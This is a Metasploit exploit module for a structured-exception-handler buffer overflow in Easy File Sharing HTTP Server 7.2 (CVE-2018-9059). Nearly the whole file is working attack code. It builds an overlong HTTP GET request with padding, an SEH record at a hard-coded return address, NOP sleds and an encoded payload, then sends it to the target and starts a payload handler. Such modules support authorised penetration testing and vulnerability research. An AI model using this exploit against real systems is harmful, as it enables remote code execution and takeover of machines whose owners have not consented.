Easy File Sharing HTTP Server 7.2 SEH Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
        'Description' => %q{
          This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
        },
        'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2018-9059' ],
          [ 'EDB', '39008' ],
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 390,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
        ],
        'DefaultOptions' => {
          'RPORT' => 80
        },
        'DisclosureDate' => '2015-12-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def print_status(msg = '')
    super("#{peer} - #{msg}")
  end

  def exploit
    connect
    print_status("Sending exploit...")
    sploit = "GET "
    sploit << rand_text_alpha_upper(4061)
    sploit << generate_seh_record(target.ret)
    sploit << make_nops(19)
    sploit << payload.encoded
    sploit << make_nops(7)
    sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
    sploit << " HTTP/1.0\r\n\r\n"
    sock.put(sploit)
    print_good("Exploit Sent")
    handler
    disconnect
  end
end